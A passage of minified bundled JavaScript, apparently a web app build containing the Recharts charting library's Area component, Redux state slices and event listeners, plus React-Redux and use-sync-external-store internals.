pS=e=>{var{chartData:t}=e,n=it(),r=Kn();return p.useEffect(()=>r?()=>{}:(n(jb(t)),()=>{n(jb(void 0))}),[t,n,r]),null},u2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},mS=Xt({name:"brush",initialState:u2,reducers:{setBrushSettings(e,t){return t.payload==null?u2:t.payload}}}),{setBrushSettings:XV}=mS.actions,vF=mS.reducer,gF={dots:[],areas:[],lines:[]},hS=Xt({name:"referenceElements",initialState:gF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Fn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Fn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Fn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:ZV,removeDot:QV,addArea:JV,removeArea:eH,addLine:tH,removeLine:nH}=hS.actions,yF=hS.reducer,bF=p.createContext(void 0),wF=e=>{var{children:t}=e,[n]=p.useState("".concat(Po("recharts"),"-clip")),r=ov();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(bF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},jF={},xS=Xt({name:"errorBars",initialState:jF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:rH,replaceErrorBar:iH,removeErrorBar:aH}=xS.actions,kF=xS.reducer;function vS(e,t){var n,r,i=ye(u=>Wr(u,e)),a=ye(u=>Ur(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:O4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:T4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function NF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=ov(),{needClipX:a,needClipY:o,needClip:l}=vS(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function SF(e){var t=zo(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var zF={};/**
* @license React
* use-sync-external-store-with-selector.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var fl=p;function CF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var PF=typeof Object.is=="function"?Object.is:CF,EF=fl.useSyncExternalStore,AF=fl.useRef,_F=fl.useEffect,OF=fl.useMemo,TF=fl.useDebugValue;zF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=AF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=OF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,PF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=EF(e,a[0],a[1]);return _F(function(){o.hasValue=!0,o.value=l},[l]),TF(l),l};function MF(e){e()}function LF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){MF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var d2={notify(){},get:()=>[]};function IF(e,t){let n,r=d2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=LF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=d2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var DF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",RF=DF(),$F=()=>typeof navigator<"u"&&navigator.product==="ReactNative",BF=$F(),FF=()=>RF||BF?p.useLayoutEffect:p.useEffect,WF=FF();function f2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function UF(e,t){if(f2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i<n.length;i++)if(!Object.prototype.hasOwnProperty.call(t,n[i])||!f2(e[n[i]],t[n[i]]))return!1;return!0}var vp=Symbol.for("react-redux-context"),gp=typeof globalThis<"u"?globalThis:{};function VF(){if(!p.createContext)return{};const e=gp[vp]??(gp[vp]=new Map);let t=e.get(p.createContext);return t||(t=p.createContext(null),e.set(p.createContext,t)),t}var HF=VF();function KF(e){const{children:t,context:n,serverState:r,store:i}=e,a=p.useMemo(()=>{const c=IF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);WF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||HF;return p.createElement(l.Provider,{value:a},t)}var qF=KF,YF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function GF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function gS(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(YF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!UF(e[r],t[r]))return!1}else if(!GF(e[r],t[r]))return!1;return!0}function lv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:dS}function cv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:dS}var yS=(e,t,n)=>n3(e,"xAxis",lv(e,t),n),bS=(e,t,n)=>t3(e,"xAxis",lv(e,t),n),wS=(e,t,n)=>n3(e,"yAxis",cv(e,t),n),jS=(e,t,n)=>t3(e,"yAxis",cv(e,t),n),XF=T([Me,yS,wS,bS,jS],(e,t,n,r,i)=>dr(e,"xAxis")?su(t,r,!1):su(n,i,!1)),ZF=(e,t)=>t,kS=T([L4,ZF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),NS=e=>{var t=Me(e),n=dr(t,"xAxis");return n?"yAxis":"xAxis"},QF=(e,t)=>{var n=NS(e);return n==="yAxis"?cv(e,t):lv(e,t)},JF=(e,t,n)=>B4(e,NS(e),QF(e,t),n),eW=T([kS,JF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=N0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),tW=T([Me,yS,wS,bS,jS,eW,V7,XF,kS,J7],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return bW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),nW=["id"],rW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Ki(){return Ki=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ki.apply(null,arguments)}function SS(e,t){if(e==null)return{};var n,r,i=iW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function iW(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function p2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Oa(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?p2(Object(n),!0).forEach(function(r){aW(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):p2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function aW(e,t,n){return(t=sW(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function sW(e){var t=oW(e,"string");return typeof t=="symbol"?t:t+""}function oW(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Lu(e,t){return e&&e!=="none"?e:t}var lW=e=>{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:Lu(r,i),value:Pd(n,t),payload:e}]},cW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:cs,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Pd(o,t),hide:l,type:u,color:Lu(r,a),unit:c,graphicalItemId:d}};return p.createElement(oS,{tooltipEntrySettings:f})});function uW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=Cr(r);return p.createElement(iF,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function dW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Oa(Oa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(b$,{value:t?i:void 0},n)}function m2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=SS(a,nW),h=Cr(m),x=It(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Gt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ba,Ki({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(uW,{points:t,props:m,clipPathId:i}))}function fW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ze(l)||!ze(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),he(d)?p.createElement("rect",{x:0,y:l<c?l:l-u,width:d+(o?parseInt("".concat(o),10):1),height:Math.floor(u)}):null}function pW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.x,c=(n=a[a.length-1])===null||n===void 0?void 0:n.x;if(!ze(l)||!ze(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.y||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),he(d)?p.createElement("rect",{x:l<c?l:l-u,y:0,width:u,height:Math.floor(d+(o?parseInt("".concat(o),10):1))}):null}function mW(e){var{alpha:t,layout:n,points:r,baseLine:i,strokeWidth:a}=e;return n==="vertical"?p.createElement(fW,{alpha:t,points:r,baseLine:i,strokeWidth:a}):p.createElement(pW,{alpha:t,points:r,baseLine:i,strokeWidth:a})}function hW(e){var{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a}=e,{points:o,baseLine:l,isAnimationActive:c,animationBegin:u,animationDuration:d,animationEasing:f,onAnimationStart:m,onAnimationEnd:h}=r,x=p.useMemo(()=>({points:o,baseLine:l}),[o,l]),g=$d(x,"recharts-area-"),y=RT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(dW,{showLabels:w,points:o},r.children,p.createElement(Rd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var _=S.length/o.length,A=z===1?o:o.map((P,I)=>{var U=Math.floor(I*_);if(S[U]){var D=S[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),O;return he(l)?O=St(N,l,z):Pt(l)||or(l)?O=St(N,0,z):O=l.map((P,I)=>{var U=Math.floor(I*_);if(Array.isArray(N)&&N[U]){var D=N[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),z>0&&(i.current=A,a.current=O),p.createElement(m2,{points:A,baseLine:O,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Gt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(mW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Gt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(m2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(X3,{label:r.label}))}function xW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(hW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class vW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Xe("recharts-area",i),y=m,{r:v,strokeWidth:b}=SF(n),w=aS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(Si,{zIndex:x},p.createElement(Gt,{className:g},l&&p.createElement("defs",null,p.createElement(NF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(xW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(c2,{points:r,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(c2,{points:h,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var zS={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ht.area};function gW(e){var t,n=fn(e,zS),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=SS(n,rW),b=us(),w=z3(),{needClip:j}=vS(g,y),k=Kn(),{points:S,isRange:N,baseLine:z}=(t=ye(U=>tW(U,e.id,k)))!==null&&t!==void 0?t:{},_=ov();if(b!=="horizontal"&&b!=="vertical"||_==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:A,width:O,x:P,y:I}=_;return!S||!S.length?null:p.createElement(vW,Ki({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:A,hide:f,layout:b,isAnimationActive:m==="auto"?!Dd.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:O,left:P,top:I,xAxisId:g,yAxisId:y}))}var yW=(e,t,n,r,i)=>{var a=n??t;if(he(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function bW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=yW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,_;if(x)_=i[d+k];else{var A=Fe(j,r);Array.isArray(A)?(_=A,v=!0):_=[g,A]}var O=(S=(N=_)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=O==null||x&&!t&&Fe(j,r)==null;if(y){var I;return{x:yy({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(I=c.scale.map(O))!==null&&I!==void 0?I:null,value:_,payload:j}}return{x:P?null:(z=l.scale.map(O))!==null&&z!==void 0?z:null,y:yy({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:_,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function wW(e){var t=fn(e,zS),n=Kn();return p.createElement(lS,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(uB,{legendPayload:lW(t)}),p.createElement(cW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(NB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:iT(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(gW,Ki({},t,{id:r}))))}var CS=p.memo(wW,gS);CS.displayName="Area";var jW=(e,t)=>t,uv=T([jW,Me,E4,wt,y3,Vr,xR,yt],kR),dv=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},PS=zn("mouseClick"),ES=Zo();ES.startListening({actionCreator:PS,effect:(e,t)=>{var n=e.payload,r=uv(t.getState(),dv(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(hD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var mh=zn("mouseMove"),AS=Zo(),ql=null;AS.startListening({actionCreator:mh,effect:(e,t)=>{var n=e.payload;ql!==null&&cancelAnimationFrame(ql);var r=dv(n);ql=requestAnimationFrame(()=>{var i=t.getState(),a=K0(i,i.tooltip.settings.shared);if(a==="axis"){var o=uv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(u3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(c3())}ql=null})}});function kW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<<CHILDREN>>":t}var h2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_S=Xt({name:"rootProps",initialState:h2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:h2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),NW=_S.reducer,{updateOptions:SW}=_S.actions,zW=null,CW={updatePolarOptions:(e,t)=>t.payload},OS=Xt({name:"polarOptions",initialState:zW,reducers:CW}),{updatePolarOptions:PW}=OS.actions,EW=OS.reducer,TS=zn("keyDown"),MS=zn("focus"),fv=Zo();fv.startListening({actionCreator:TS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=q0(i,ys(n),ll(n),ul(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Vr(n);if(a==="Enter"){var u=Eu(n,"axis","hover",String(i.index));t.dispatch(ch({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=aD(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Eu(n,"axis","hover",String(h));t.dispatch(ch({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});fv.startListening({actionCreator:MS,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Eu(n,"axis","hover",String(a));t.dispatch(ch({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var gn=zn("externalEvent"),LS=Zo(),yp=new Map;LS.startListening({actionCreator:gn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=yp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:tR(l),activeDataKey:k3(l),activeIndex:ns(l),activeLabel:j3(l),activeTooltipIndex:ns(l),isTooltipActive:nR(l)};n(c,r)}finally{yp.delete(i)}});yp.set(i,o)}}});var AW=T([vs],e=>e.tooltipItemPayloads),_W=T([AW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),IS=zn("touchMove"),DS=Zo();DS.startListening({actionCreator:IS,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=K0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=uv(r,dv({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(u3({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Qk),f=(l=u.getAttribute(Jk))!==null&&l!==void 0?l:void 0,m=gs(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=_W(r,d,f);t.dispatch(l3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var OW=jk({brush:vF,cartesianAxis:cF,chartData:JR,errorBars:kF,graphicalItems:jB,layout:GO,legend:QT,options:YR,polarAxis:O$,polarOptions:EW,referenceElements:yF,rootProps:NW,tooltip:xD,zIndex:DR}),TW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return bO({reducer:OW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([ES.middleware,AS.middleware,fv.middleware,LS.middleware,DS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Dk({type:"raf"}))},devTools:{serialize:{replacer:kW},name:"recharts-".concat(n)}})};function RS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Kn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=TW(t,r));var o=Mx;return p.createElement(qF,{context:o,store:a.current},n)}function MW(e){var{layout:t,margin:n}=e,r=it(),i=Kn();return p.useEffect(()=>{i||(r(KO(t)),r(HO(n)))},[r,i,t,n]),null}var $S=p.memo(MW,gS);function BS(e){var t=it();return p.useEffect(()=>{t(SW(e))},[t,e]),null}function x2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=it();return p.useLayoutEffect(()=>(r.current&&i(LR({zIndex:t,element:r.current,isPanorama:n})),()=>{i(IR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function v2(e){var{children:t,isPanorama:n}=e,r=ye(SR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(x2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(x2,{key:o,zIndex:o,isPanorama:n})))}var LW=["children"];function IW(e,t){if(e==null)return{};var n,r,i=DW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function DW(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function Iu(){return Iu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Iu.apply(null,arguments)}var RW={width:"100%",height:"100%",display:"block"},$W=p.forwardRef((e,t)=>{var n=IT(),r=DT(),i=vN();if(!vi(n)||!vi(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(jj,Iu({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:RW,ref:t}),a)}),BW=e=>{var{children:t}=e,n=ye(Od);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return 